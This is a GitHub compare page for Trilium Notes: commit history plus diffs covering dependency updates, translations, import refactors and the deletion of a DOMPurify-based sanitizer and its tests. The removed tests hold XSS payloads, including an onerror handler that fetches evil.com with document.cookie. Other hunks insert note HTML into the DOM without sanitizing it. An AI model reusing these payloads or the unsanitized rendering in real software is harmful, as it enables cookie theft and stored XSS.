Compare commits

..

45 Commits

Author SHA1 Message Date
Elian Doran
d873accf3e Merge remote-tracking branch 'origin/main' into feature/cleanup_ck_modules 2026-04-06 12:41:45 +03:00
Elian Doran
94b448863c chore(deps): update dependency esbuild to v0.28.0 (#9302) 2026-04-06 12:34:15 +03:00
Elian Doran
32acc8555d fix(deps): update dependency @eslint/js to v10 (#9308) 2026-04-06 12:33:56 +03:00
Elian Doran
d68ad84155 Refactor/build warnings due to imports (#9309) 2026-04-06 12:32:32 +03:00
Elian Doran
45e82b7f33 test(ckeditor5-mermaid): fix type errors 2026-04-06 12:31:53 +03:00
Elian Doran
55ad0fe9f0 test(ckeditor5-mermaid): broken tests after change in rendering 2026-04-06 12:30:33 +03:00
Elian Doran
559815273e fix(ckeditor5-mermaid): protect against multiple init 2026-04-06 12:27:12 +03:00
Elian Doran
af76740fd9 fix(ckeditor5-mermaid): protect against stale renders 2026-04-06 12:26:17 +03:00
Elian Doran
7dadd50bfe chore(ckeditor5-mermaid): don't remove parent element on error 2026-04-06 12:25:50 +03:00
Elian Doran
dd4cab22c1 chore(client): address requested changes 2026-04-06 12:22:00 +03:00
Elian Doran
c4d3e776a1 refactor(client): the last circular dependency 2026-04-06 12:20:40 +03:00
Elian Doran
19bb7f5ddb refactor(server): remove unnecessary route 2026-04-06 12:18:36 +03:00
Elian Doran
d212120f9b refactor(client): read locales from common instead of going through the server 2026-04-06 12:16:32 +03:00
Elian Doran
42da1872e7 fix(client): crashing due to circular dependency 2026-04-06 12:10:33 +03:00
Elian Doran
a080b50c45 refactor(client): duplicate toast import 2026-04-06 12:06:27 +03:00
Elian Doran
6d31e9b028 feat(ckeditor5-mermaid): use more modern mechanism for rendering with less flicker 2026-04-06 12:03:29 +03:00
Elian Doran
b606afa858 refactor(ckeditor5-mermaid): get rid of any runtime dependencies 2026-04-06 11:59:24 +03:00
Elian Doran
f9446304b3 refactor(ckeditor5-mermaid): switch to es-toolkit 2026-04-06 11:57:31 +03:00
renovate[bot]
fbe312d580 chore(deps): update dependency esbuild to v0.28.0 2026-04-06 08:54:56 +00:00
Elian Doran
8d383caaff chore(deps): update dependency @electron/fuses to v2 (#9304) 2026-04-06 11:53:07 +03:00
Elian Doran
6caf4fa7ce chore(deps): update dependency copy-webpack-plugin to v14 (#9305) 2026-04-06 11:52:29 +03:00
Elian Doran
606d58b08c chore(ckeditor5-*): remove unnecessary publishing stack 2026-04-06 11:49:47 +03:00
Elian Doran
09258179f0 refactor(client): one more ineffective dynamic import due to appContext 2026-04-06 11:46:35 +03:00
Elian Doran
40e986b188 refactor(client): ineffective dynamic imports 2026-04-06 11:41:35 +03:00
Elian Doran
37e47041bf Merge branch 'main' of https://github.com/TriliumNext/Trilium 2026-04-06 11:41:09 +03:00
Elian Doran
543438bca0 chore(ai): mention instructions for adding new locale 2026-04-06 11:28:10 +03:00
Elian Doran
b31290c1fc fix(deps): update dependency fuse.js to v7.2.0 (#9303) 2026-04-06 11:22:33 +03:00
Elian Doran
d41111a209 docs(dev): remove unnecessary step for adding new locale 2026-04-06 11:21:17 +03:00
Elian Doran
828b523382 feat(i18n): enable Czech 2026-04-06 11:20:58 +03:00
Elian Doran
32409ecbee Translations update from Hosted Weblate (#9295) 2026-04-06 11:16:03 +03:00
renovate[bot]
3ca2cec63a chore(deps): update dependency copy-webpack-plugin to v14 2026-04-06 08:14:46 +00:00
Francis C.
1ed2db0c82 Translated using Weblate (Chinese (Traditional Han script))
Currently translated at 100.0% (1842 of 1842 strings)

Translation: Trilium Notes/Client
Translate-URL: https://hosted.weblate.org/projects/trilium/client/zh_Hant/
2026-04-06 08:13:48 +00:00
Francis C.
2423b74dd0 Translated using Weblate (Chinese (Traditional Han script))
Currently translated at 100.0% (391 of 391 strings)

Translation: Trilium Notes/Server
Translate-URL: https://hosted.weblate.org/projects/trilium/server/zh_Hant/
2026-04-06 08:13:48 +00:00
Tomas Adamek
3f781ea298 Translated using Weblate (Czech)
Currently translated at 98.9% (1822 of 1842 strings)

Translation: Trilium Notes/Client
Translate-URL: https://hosted.weblate.org/projects/trilium/client/cs/
2026-04-06 08:13:47 +00:00
Tomas Adamek
30c5c49aef Translated using Weblate (Czech)
Currently translated at 100.0% (391 of 391 strings)

Translation: Trilium Notes/Server
Translate-URL: https://hosted.weblate.org/projects/trilium/server/cs/
2026-04-06 08:13:47 +00:00
Tomas Adamek
9421e39c34 Translated using Weblate (Czech)
Currently translated at 100.0% (116 of 116 strings)

Translation: Trilium Notes/README
Translate-URL: https://hosted.weblate.org/projects/trilium/readme/cs/
2026-04-06 08:13:46 +00:00
Tomas Adamek
c46805cf4f Translated using Weblate (Czech)
Currently translated at 100.0% (158 of 158 strings)

Translation: Trilium Notes/Website
Translate-URL: https://hosted.weblate.org/projects/trilium/website/cs/
2026-04-06 08:13:46 +00:00
Elian Doran
f181343fca chore(deps): update dependency @redocly/cli to v2.25.4 (#9297) 2026-04-06 11:13:37 +03:00
Elian Doran
8a512e4f73 chore(deps): update dependency electron to v41 (#9306) 2026-04-06 11:13:01 +03:00
Elian Doran
06a3750168 chore(renovate): group AI SDK updates 2026-04-06 11:09:07 +03:00
renovate[bot]
35c1a5642d fix(deps): update dependency @eslint/js to v10 2026-04-06 01:05:51 +00:00
renovate[bot]
f29df2ad28 chore(deps): update dependency electron to v41 2026-04-06 01:03:55 +00:00
renovate[bot]
75a5714451 chore(deps): update dependency @electron/fuses to v2 2026-04-06 01:01:53 +00:00
renovate[bot]
2882863b5b fix(deps): update dependency fuse.js to v7.2.0 2026-04-06 01:00:57 +00:00
renovate[bot]
773b6cca14 chore(deps): update dependency @redocly/cli to v2.25.4 2026-04-06 00:54:32 +00:00
104 changed files with 3679 additions and 3986 deletions

View File

@@ -320,6 +320,7 @@ Trilium provides powerful user scripting capabilities:
- Use translation system via `t()` function
- Automatic pluralization: Add `_other` suffix to translation keys (e.g., `item` and `item_other` for singular/plural)
- When a translated string contains **interpolated components** (e.g. links, note references) whose order may vary across languages, use `<Trans>` from `react-i18next` instead of `t()`. This lets translators reorder components freely (e.g. `"<Note/> in <Parent/>"` vs `"in <Parent/>, <Note/>"`)
- When adding a new locale, follow the step-by-step guide in `docs/Developer Guide/Developer Guide/Concepts/Internationalisation Translations/Adding a new locale.md`
## Testing Conventions

View File

@@ -121,6 +121,7 @@ Trilium provides powerful user scripting capabilities:
- **Only add new translation keys to `en/translation.json`** — translations for other languages are managed via Weblate and will be contributed by the community
- Third-party components (e.g., mind-map context menu) should use i18next `t()` for their labels, with the English strings added to `en/translation.json` under a dedicated namespace (e.g., `"mind-map"`)
- When a translated string contains **interpolated components** (e.g. links, note references) whose order may vary across languages, use `<Trans>` from `react-i18next` instead of `t()`. This lets translators reorder components freely (e.g. `"<Note/> in <Parent/>"` vs `"in <Parent/>, <Note/>"`)
- When adding a new locale, follow the step-by-step guide in `docs/Developer Guide/Developer Guide/Concepts/Internationalisation Translations/Adding a new locale.md`
### Security Considerations
- Per-note encryption with granular protected sessions

View File

@@ -16,7 +16,7 @@
"license": "AGPL-3.0-only",
"packageManager": "pnpm@10.33.0",
"devDependencies": {
"@redocly/cli": "2.25.3",
"@redocly/cli": "2.25.4",
"archiver": "7.0.1",
"fs-extra": "11.3.4",
"js-yaml": "4.1.1",

View File

@@ -1,10 +1,11 @@
import type { CKTextEditor } from "@triliumnext/ckeditor5";
import type CodeMirror from "@triliumnext/codemirror";
import { SqlExecuteResponse } from "@triliumnext/commons";
import { type LOCALE_IDS, SqlExecuteResponse } from "@triliumnext/commons";
import type { NativeImage, TouchBar } from "electron";
import { ColumnComponent } from "tabulator-tables";
import type { Attribute } from "../services/attribute_parser.js";
import bundleService from "../services/bundle.js";
import froca from "../services/froca.js";
import { initLocale, t } from "../services/i18n.js";
import keyboardActionsService from "../services/keyboard_actions.js";
@@ -563,7 +564,7 @@ export class AppContext extends Component {
*/
async earlyInit() {
await options.initializedPromise;
await initLocale();
await initLocale((options.get("locale") || "en") as LOCALE_IDS);
}
setLayout(layout: Layout) {
@@ -578,7 +579,6 @@ export class AppContext extends Component {
this.tabManager.loadTabs();
const bundleService = (await import("../services/bundle.js")).default;
setTimeout(() => bundleService.executeStartupBundles(), 2000);
}

View File

@@ -1,5 +1,6 @@
import { getNoteIcon } from "@triliumnext/commons";
import bundleService from "../services/bundle.js";
import cssClassManager from "../services/css_class_manager.js";
import type { Froca } from "../services/froca-interface.js";
import noteAttributeCache from "../services/note_attribute_cache.js";
@@ -1014,7 +1015,6 @@ export default class FNote {
const env = this.getScriptEnv();
if (env === "frontend") {
const bundleService = (await import("../services/bundle.js")).default;
return await bundleService.getAndExecuteBundle(this.noteId);
} else if (env === "backend") {
await server.post(`script/run/${this.noteId}`);

View File

@@ -1,12 +1,14 @@
import utils from "../services/utils.js";
import options from "../services/options.js";
import zoomService from "../components/zoom.js";
import contextMenu, { type MenuItem } from "./context_menu.js";
import { t } from "../services/i18n.js";
import server from "../services/server.js";
import * as clipboardExt from "../services/clipboard_ext.js";
import type { BrowserWindow } from "electron";
import type { CommandNames, AppContext } from "../components/app_context.js";
import type { CommandNames } from "../components/app_context.js";
import appContext from "../components/app_context.js";
import zoomService from "../components/zoom.js";
import * as clipboardExt from "../services/clipboard_ext.js";
import { t } from "../services/i18n.js";
import options from "../services/options.js";
import server from "../services/server.js";
import utils from "../services/utils.js";
import contextMenu, { type MenuItem } from "./context_menu.js";
function setupContextMenu() {
const electron = utils.dynamicRequire("electron");
@@ -15,8 +17,6 @@ function setupContextMenu() {
// FIXME: Remove typecast once Electron is properly integrated.
const { webContents } = remote.getCurrentWindow() as BrowserWindow;
let appContext: AppContext;
webContents.on("context-menu", (event, params) => {
const { editFlags } = params;
const hasText = params.selectionText.trim().length > 0;
@@ -141,7 +141,7 @@ function setupContextMenu() {
}
// Replace the placeholder with the real search keyword.
let searchUrl = searchEngineUrl.replace("{keyword}", encodeURIComponent(params.selectionText));
const searchUrl = searchEngineUrl.replace("{keyword}", encodeURIComponent(params.selectionText));
items.push({ kind: "separator" });
@@ -155,10 +155,6 @@ function setupContextMenu() {
title: t("electron_context_menu.search_in_trilium", { term: shortenedSelection }),
uiIcon: "bx bx-search",
handler: async () => {
if (!appContext) {
appContext = (await import("../components/app_context.js")).default;
}
await appContext.triggerCommand("searchNotes", {
searchString: params.selectionText
});

View File

@@ -4,6 +4,7 @@ import { useCallback, useLayoutEffect, useRef } from "preact/hooks";
import FNote from "./entities/fnote";
import content_renderer from "./services/content_renderer";
import { applyInlineMermaid } from "./services/content_renderer_text";
import froca from "./services/froca";
import { dynamicRequire, isElectron } from "./services/utils";
import { CustomNoteList, useNoteViewType } from "./widgets/collections/NoteList";
@@ -30,7 +31,6 @@ async function main() {
if (!noteId) return;
await import("./print.css");
const froca = (await import("./services/froca")).default;
const note = await froca.getNote(noteId);
const bodyWrapper = document.createElement("div");

View File

@@ -26,7 +26,7 @@ type WithNoteId<T> = T & {
};
export type Widget = WithNoteId<(LegacyWidget | WidgetDefinitionWithType)>;
async function getAndExecuteBundle(noteId: string, originEntity = null, script = null, params = null) {
async function getAndExecuteBundle(noteId: string, originEntity: Entity | null = null, script: string | null = null, params: string | null = null) {
const bundle = await server.post<Bundle>(`script/bundle/${noteId}`, {
script,
params

View File

@@ -1,3 +1,6 @@
import { t } from "./i18n.js";
import toast from "./toast.js";
export function copyText(text: string) {
if (!text) {
return;
@@ -6,29 +9,26 @@ export function copyText(text: string) {
if (navigator.clipboard) {
navigator.clipboard.writeText(text);
return true;
} else {
// Fallback method: https://stackoverflow.com/a/72239825
const textArea = document.createElement("textarea");
textArea.value = text;
try {
document.body.appendChild(textArea);
textArea.focus();
textArea.select();
return document.execCommand('copy');
} finally {
document.body.removeChild(textArea);
}
}
// Fallback method: https://stackoverflow.com/a/72239825
const textArea = document.createElement("textarea");
textArea.value = text;
try {
document.body.appendChild(textArea);
textArea.focus();
textArea.select();
return document.execCommand('copy');
} finally {
document.body.removeChild(textArea);
}
} catch (e) {
console.warn(e);
return false;
}
}
export async function copyTextWithToast(text: string) {
const t = (await import("./i18n.js")).t;
const toast = (await import("./toast.js")).default;
export function copyTextWithToast(text: string) {
if (copyText(text)) {
toast.showMessage(t("clipboard.copy_success"));
} else {

View File

@@ -5,7 +5,6 @@ import froca from "./froca.js";
import link from "./link.js";
import { renderMathInElement } from "./math.js";
import { getMermaidConfig } from "./mermaid.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
import { formatCodeBlocks } from "./syntax_highlight.js";
import tree from "./tree.js";
import { isHtmlEmpty } from "./utils.js";
@@ -15,7 +14,7 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
const blob = await note.getBlob();
if (blob && !isHtmlEmpty(blob.content)) {
$renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));
$renderedContent.append($('<div class="ck-content">').html(blob.content));
const seenNoteIds = options.seenNoteIds ?? new Set<string>();
seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);

View File

@@ -1,9 +1,11 @@
import { Modal } from "bootstrap";
import appContext from "../components/app_context.js";
import type { ConfirmDialogOptions, ConfirmDialogResult, ConfirmWithMessageOptions, MessageType } from "../widgets/dialogs/confirm.js";
import { InfoExtraProps } from "../widgets/dialogs/info.jsx";
import type { PromptDialogOptions } from "../widgets/dialogs/prompt.js";
import { focusSavedElement, saveFocusedElement } from "./focus.js";
import { InfoExtraProps } from "../widgets/dialogs/info.jsx";
import keyboardActionsService from "./keyboard_actions.js";
export async function openDialog($dialog: JQuery<HTMLElement>, closeActDialog = true, config?: Partial<Modal.Options>) {
if (closeActDialog) {
@@ -25,7 +27,6 @@ export async function openDialog($dialog: JQuery<HTMLElement>, closeActDialog =
}
});
const keyboardActionsService = (await import("./keyboard_actions.js")).default;
keyboardActionsService.updateDisplayedShortcuts($dialog);
return $dialog;

View File

@@ -1,14 +1,16 @@
import LoadResults from "./load_results.js";
import froca from "./froca.js";
import utils from "./utils.js";
import options from "./options.js";
import noteAttributeCache from "./note_attribute_cache.js";
import FBranch, { type FBranchRow } from "../entities/fbranch.js";
import FAttribute, { type FAttributeRow } from "../entities/fattribute.js";
import type { OptionNames } from "@triliumnext/commons";
import appContext from "../components/app_context.js";
import FAttachment, { type FAttachmentRow } from "../entities/fattachment.js";
import FAttribute, { type FAttributeRow } from "../entities/fattribute.js";
import FBranch, { type FBranchRow } from "../entities/fbranch.js";
import type { default as FNote, FNoteRow } from "../entities/fnote.js";
import type { EntityChange } from "../server_types.js";
import type { OptionNames } from "@triliumnext/commons";
import froca from "./froca.js";
import LoadResults from "./load_results.js";
import noteAttributeCache from "./note_attribute_cache.js";
import options from "./options.js";
import utils from "./utils.js";
async function processEntityChanges(entityChanges: EntityChange[]) {
const loadResults = new LoadResults(entityChanges);
@@ -63,7 +65,7 @@ async function processEntityChanges(entityChanges: EntityChange[]) {
if (entityName === "branches" && !((entity as FBranchRow).parentNoteId in froca.notes)) {
missingNoteIds.push((entity as FBranchRow).parentNoteId);
} else if (entityName === "attributes") {
let attributeEntity = entity as FAttributeRow;
const attributeEntity = entity as FAttributeRow;
if (attributeEntity.type === "relation" && (attributeEntity.name === "template" || attributeEntity.name === "inherit") && !(attributeEntity.value in froca.notes)) {
missingNoteIds.push(attributeEntity.value);
}
@@ -79,7 +81,6 @@ async function processEntityChanges(entityChanges: EntityChange[]) {
noteAttributeCache.invalidate();
}
const appContext = (await import("../components/app_context.js")).default;
await appContext.triggerEvent("entitiesReloaded", { loadResults });
}
}

View File

@@ -1,21 +1,14 @@
import options from "./options.js";
import { LOCALE_IDS, LOCALES, setDayjsLocale } from "@triliumnext/commons";
import i18next from "i18next";
import i18nextHttpBackend from "i18next-http-backend";
import server from "./server.js";
import { LOCALE_IDS, setDayjsLocale, type Locale } from "@triliumnext/commons";
import { initReactI18next } from "react-i18next";
let locales: Locale[] | null;
/**
* A deferred promise that resolves when translations are initialized.
*/
export let translationsInitializedPromise = $.Deferred();
export const translationsInitializedPromise = $.Deferred();
export async function initLocale() {
const locale = ((options.get("locale") as string) || "en") as LOCALE_IDS;
locales = await server.get<Locale[]>("options/locales");
export async function initLocale(locale: LOCALE_IDS = "en") {
i18next.use(initReactI18next);
await i18next.use(i18nextHttpBackend).init({
@@ -32,11 +25,7 @@ export async function initLocale() {
}
export function getAvailableLocales() {
if (!locales) {
throw new Error("Tried to load list of locales, but localization is not yet initialized.")
}
return locales;
return LOCALES;
}
/**
@@ -47,7 +36,7 @@ export function getAvailableLocales() {
*/
export function getLocaleById(localeId: string | null | undefined) {
if (!localeId) return null;
return locales?.find((l) => l.id === localeId) ?? null;
return LOCALES.find((l) => l.id === localeId) ?? null;
}
export const t = i18next.t;

View File

@@ -5,7 +5,6 @@ import contentRenderer from "./content_renderer.js";
import froca from "./froca.js";
import { t } from "./i18n.js";
import linkService from "./link.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
import treeService from "./tree.js";
import utils from "./utils.js";
@@ -93,9 +92,8 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
return;
}
const sanitizedContent = sanitizeNoteContentHtml(content);
const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
const tooltipClass = `tooltip-${Math.floor(Math.random() * 999_999_999)}`;
const html = `<div class="note-tooltip-content">${content}</div>`;
const tooltipClass = `tooltip-${ Math.floor(Math.random() * 999_999_999)}`;
// we need to check if we're still hovering over the element
// since the operation to get tooltip content was async, it is possible that
@@ -112,8 +110,6 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
title: html,
html: true,
template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
// Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
// (which is too aggressive for our rich-text content) can be disabled.
sanitize: false,
customClass: linkId
});

View File

@@ -1,236 +0,0 @@
import { describe, expect, it } from "vitest";
import { sanitizeNoteContentHtml } from "./sanitize_content";
describe("sanitizeNoteContentHtml", () => {
// --- Preserves legitimate CKEditor content ---
it("preserves basic rich text formatting", () => {
const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves headings", () => {
const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves links with href", () => {
const html = '<a href="https://example.com">Link</a>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves internal note links with data attributes", () => {
const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="reference-link"');
expect(result).toContain('href="#root/abc123"');
expect(result).toContain('data-note-path="root/abc123"');
expect(result).toContain(">My Note</a>");
});
it("preserves images with src", () => {
const html = '<img src="api/images/abc123/image.png" alt="test">';
expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
});
it("preserves tables", () => {
const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves code blocks", () => {
const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves include-note sections with data-note-id", () => {
const html = '<section class="include-note" data-note-id="abc123">&nbsp;</section>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="include-note"');
expect(result).toContain('data-note-id="abc123"');
expect(result).toContain("&nbsp;</section>");
});
it("preserves figure and figcaption", () => {
const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
});
it("preserves task list checkboxes", () => {
const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('type="checkbox"');
expect(result).toContain("checked");
});
it("preserves inline styles for colors", () => {
const html = '<span style="color: red;">Red text</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("style");
expect(result).toContain("color");
});
it("preserves data-* attributes", () => {
const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('data-custom-attr="value"');
expect(result).toContain('data-note-id="abc"');
});
// --- Blocks XSS vectors ---
it("strips script tags", () => {
const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
expect(result).toContain("<p>Hello</p>");
expect(result).toContain("<p>World</p>");
});
it("strips onerror event handlers on images", () => {
const html = '<img src="x" onerror="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("alert");
});
it("strips onclick event handlers", () => {
const html = '<div onclick="alert(1)">Click me</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onclick");
expect(result).not.toContain("alert");
});
it("strips onload event handlers", () => {
const html = '<img src="x" onload="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onload");
expect(result).not.toContain("alert");
});
it("strips onmouseover event handlers", () => {
const html = '<span onmouseover="alert(1)">Hover</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onmouseover");
expect(result).not.toContain("alert");
});
it("strips onfocus event handlers", () => {
const html = '<input onfocus="alert(1)" autofocus>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onfocus");
expect(result).not.toContain("alert");
});
it("strips javascript: URIs in href", () => {
const html = '<a href="javascript:alert(1)">Click</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});
it("strips javascript: URIs in img src", () => {
const html = '<img src="javascript:alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});
it("strips iframe tags", () => {
const html = '<iframe src="https://evil.com"></iframe>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<iframe");
});
it("strips object tags", () => {
const html = '<object data="evil.swf"></object>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<object");
});
it("strips embed tags", () => {
const html = '<embed src="evil.swf">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<embed");
});
it("strips style tags", () => {
const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<style");
expect(result).toContain("<p>Text</p>");
});
it("strips SVG with embedded script", () => {
const html = '<svg><script>alert(1)</script></svg>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
});
it("strips meta tags", () => {
const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<meta");
});
it("strips base tags", () => {
const html = '<base href="https://evil.com/"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<base");
});
it("strips link tags", () => {
const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<link");
});
// --- Edge cases ---
it("handles empty string", () => {
expect(sanitizeNoteContentHtml("")).toBe("");
});
it("handles null-like falsy values", () => {
expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
});
it("handles nested XSS attempts", () => {
const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("fetch");
expect(result).not.toContain("cookie");
expect(result).toContain("Safe");
expect(result).toContain("Also safe");
});
it("handles case-varied event handlers", () => {
const html = '<img src="x" ONERROR="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result.toLowerCase()).not.toContain("onerror");
});
it("strips dangerous data: URI on anchor elements", () => {
const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
const result = sanitizeNoteContentHtml(html);
// DOMPurify should either strip the href or remove the dangerous content
expect(result).not.toContain("<script");
expect(result).not.toContain("alert(1)");
});
it("allows data: URI on image elements", () => {
const html = '<img src="data:image/png;base64,iVBOR...">';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("data:image/png");
});
it("strips template tags which could contain scripts", () => {
const html = '<template><script>alert(1)</script></template>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("<template");
});
});

View File

@@ -1,161 +0,0 @@
/**
* Client-side HTML sanitization for note content rendering.
*
* This module provides sanitization of HTML content before it is injected into
* the DOM, preventing stored XSS attacks. Content written through non-CKEditor
* paths (Internal API, ETAPI, Sync) may contain malicious scripts, event
* handlers, or other XSS vectors that must be stripped before rendering.
*
* Uses DOMPurify, a well-audited XSS sanitizer that is already a transitive
* dependency of this project (via mermaid).
*
* The configuration is intentionally permissive for rich-text formatting
* (bold, italic, headings, tables, images, links, etc.) while blocking
* script execution vectors (script tags, event handlers, javascript: URIs,
* data: URIs on non-image elements, etc.).
*/
import DOMPurify from "dompurify";
/**
* Tags allowed in sanitized note content. This mirrors the server-side
* SANITIZER_DEFAULT_ALLOWED_TAGS from @triliumnext/commons plus additional
* tags needed for CKEditor content rendering (e.g. <section> for included
* notes, <figure>/<figcaption> for images and tables).
*
* Notably absent: <script>, <style>, <iframe>, <object>, <embed>, <form>,
* <input> (except checkbox via specific attribute allowance), <link>, <meta>.
*/
const ALLOWED_TAGS = [
// Headings
"h1", "h2", "h3", "h4", "h5", "h6",
// Block elements
"blockquote", "p", "div", "pre", "section", "article", "aside",
"header", "footer", "hgroup", "main", "nav", "address", "details", "summary",
// Lists
"ul", "ol", "li", "dl", "dt", "dd", "menu",
// Inline formatting
"a", "b", "i", "strong", "em", "strike", "s", "del", "ins",
"abbr", "code", "kbd", "mark", "q", "time", "var", "wbr",
"small", "sub", "sup", "big", "tt", "samp", "dfn", "bdi", "bdo",
"cite", "acronym", "data", "rp",
// Tables
"table", "thead", "caption", "tbody", "tfoot", "tr", "th", "td",
"col", "colgroup",
// Media
"img", "figure", "figcaption", "video", "audio", "picture",
"area", "map", "track",
// Separators
"hr", "br",
// Interactive (limited)
"label", "input",
// Other
"span",
// CKEditor specific
"en-media"
];
/**
* Attributes allowed on sanitized elements. DOMPurify uses a flat list
* of allowed attribute names that apply to all elements.
*/
const ALLOWED_ATTR = [
// Common
"class", "style", "title", "id", "dir", "lang", "tabindex",
"spellcheck", "translate", "hidden",
// Links
"href", "target", "rel",
// Images & media
"src", "alt", "width", "height", "loading", "srcset", "sizes",
"controls", "autoplay", "loop", "muted", "preload", "poster",
// Data attributes (CKEditor uses these extensively)
// DOMPurify allows data-* by default when ADD_ATTR includes them
// Tables
"colspan", "rowspan", "scope", "headers",
// Input (for checkboxes in task lists)
"type", "checked", "disabled",
// Misc
"align", "valign", "center",
"open", // for <details>
"datetime", // for <time>, <del>, <ins>
"cite" // for <blockquote>, <del>, <ins>
];
/**
* URI-safe protocols allowed in href/src attributes.
* Blocks javascript:, vbscript:, and other dangerous schemes.
*/
// Note: data: is intentionally omitted here; it is handled via ADD_DATA_URI_TAGS
// which restricts data: URIs to only <img> elements.
const ALLOWED_URI_REGEXP = /^(?:(?:https?|ftps?|mailto|evernote|file|gemini|git|gopher|irc|irc6|jabber|magnet|sftp|skype|sms|spotify|steam|svn|tel|smb|zotero|geo|obsidian|logseq|onenote|slack):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i;
/**
* DOMPurify configuration for sanitizing note content.
*/
const PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS,
ALLOWED_ATTR,
ALLOWED_URI_REGEXP,
// Allow data-* attributes (used extensively by CKEditor)
ADD_ATTR: ["data-note-id", "data-note-path", "data-href", "data-language",
"data-value", "data-box-type", "data-link-id", "data-no-context-menu"],
// Do not allow <style> or <script> tags
FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "link", "meta",
"base", "noscript", "template"],
// Do not allow event handler attributes
FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover", "onfocus",
"onblur", "onsubmit", "onreset", "onchange", "oninput",
"onkeydown", "onkeyup", "onkeypress", "onmousedown",
"onmouseup", "onmousemove", "onmouseout", "onmouseenter",
"onmouseleave", "ondblclick", "oncontextmenu", "onwheel",
"ondrag", "ondragend", "ondragenter", "ondragleave",
"ondragover", "ondragstart", "ondrop", "onscroll",
"oncopy", "oncut", "onpaste", "onanimationend",
"onanimationiteration", "onanimationstart",
"ontransitionend", "onpointerdown", "onpointerup",
"onpointermove", "onpointerover", "onpointerout",
"onpointerenter", "onpointerleave", "ontouchstart",
"ontouchend", "ontouchmove", "ontouchcancel"],
// Allow data: URIs only for images (needed for inline images)
ADD_DATA_URI_TAGS: ["img"],
// Return a string
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false,
// Keep the document structure intact
WHOLE_DOCUMENT: false,
// Allow target attribute on links
ADD_TAGS: []
};
// Configure a DOMPurify hook to handle data-* attributes more broadly
// since CKEditor uses many custom data attributes.
DOMPurify.addHook("uponSanitizeAttribute", (node, data) => {
// Allow all data-* attributes
if (data.attrName.startsWith("data-")) {
data.forceKeepAttr = true;
}
});
/**
* Sanitizes HTML content for safe rendering in the DOM.
*
* This function should be called on all user-provided HTML content before
* inserting it into the DOM via dangerouslySetInnerHTML, jQuery .html(),
* or Element.innerHTML.
*
* The sanitizer preserves rich-text formatting produced by CKEditor
